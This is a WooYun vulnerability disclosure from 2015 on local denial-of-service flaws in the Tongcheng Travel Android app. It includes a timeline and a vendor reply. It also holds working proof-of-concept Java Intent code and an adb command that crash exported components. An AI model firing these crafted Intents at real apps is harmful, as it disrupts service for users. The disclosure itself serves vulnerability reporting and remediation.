当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-089727

漏洞标题:同程旅游客户端多处本地拒绝服务

相关厂商:苏州同程旅游网络科技有限公司

漏洞作者: Nicky

提交时间:2015-01-05 16:56

修复时间:2015-04-05 16:58

公开时间:2015-04-05 16:58

漏洞类型:拒绝服务

危害等级:中

自评Rank:10

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-05: 细节已通知厂商并且等待厂商处理中
2015-01-05: 厂商已经确认,细节仅向厂商公开
2015-03-01: 细节向核心白帽子及相关领域专家公开
2015-03-11: 细节向普通白帽子公开
2015-03-21: 细节向实习白帽子公开
2015-04-05: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

同程旅游客户端多处本地拒绝服务,可造成客户端无限崩溃。

详细说明:

问题组件:com.tongcheng.android.TongchengMainUIActivity
测试代码:
Intent intent = new Intent();
intent.setAction("android.intent.action.VIEW");
intent.setComponent(new ComponentName("com.tongcheng.android", "com.tongcheng.android.TongchengMainUIActivity"));
intent.setType("hack");
intent.putExtra("body", BigInteger.valueOf(1));
intent.putExtra("url", "*+./:-%&\"");
intent.putExtra("operate", "*+./:-%&\"");
intent.putExtra("fromMore", true);
intent.putExtra("tag", "*+./:-%&\"");
intent.putExtra("register", "*+./:-%&\"");
startActivity(intent);


问题组件2:com.tongcheng.android.scenery.sceneryUtils.SceneryQQPayResult
测试代码:
Intent intent = new Intent();
intent.setAction("android.intent.action.VIEW");
intent.setComponent(new ComponentName("com.tongcheng.android", "com.tongcheng.android.scenery.sceneryUtils.SceneryQQPayResult"));
intent.setData(Uri.parse("%10010%"));
startActivity(intent);


问题组件三:com.umeng.common.net.DownloadingService
测试方法:
adb shell am startservice -n com.tongcheng.android/com.umeng.common.net.DownloadingService

漏洞证明:

QQ图片20150102161816.jpg

修复方案:

对于可导出的组件,要验证null intent 是否正确处理,对输入参数做好异常处理

版权声明:转载请注明来源 Nicky@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2015-01-05 17:19

厂商回复:

感谢关注同程旅游,这个内部有报过哦。试了阿里聚安全 http:///和腾讯金刚审计系统 http:///kingkong
新版本快上线了,欢迎来搞。其他厂商建议也试一下上面提到的两个系统。

最新状态:

2015-01-05:公开,供其他厂商参考。


漏洞评价:

评论

  1. 2015-04-10 07:56 | qhwlpg ( 普通白帽子 | Rank:226 漏洞数:54 | 潜心代码审计。)

    @苏州同程旅游网络科技有限公司 同程真棒!

  2. 2015-07-15 19:59 | qhwlpg ( 普通白帽子 | Rank:226 漏洞数:54 | 潜心代码审计。)

    还是没有修复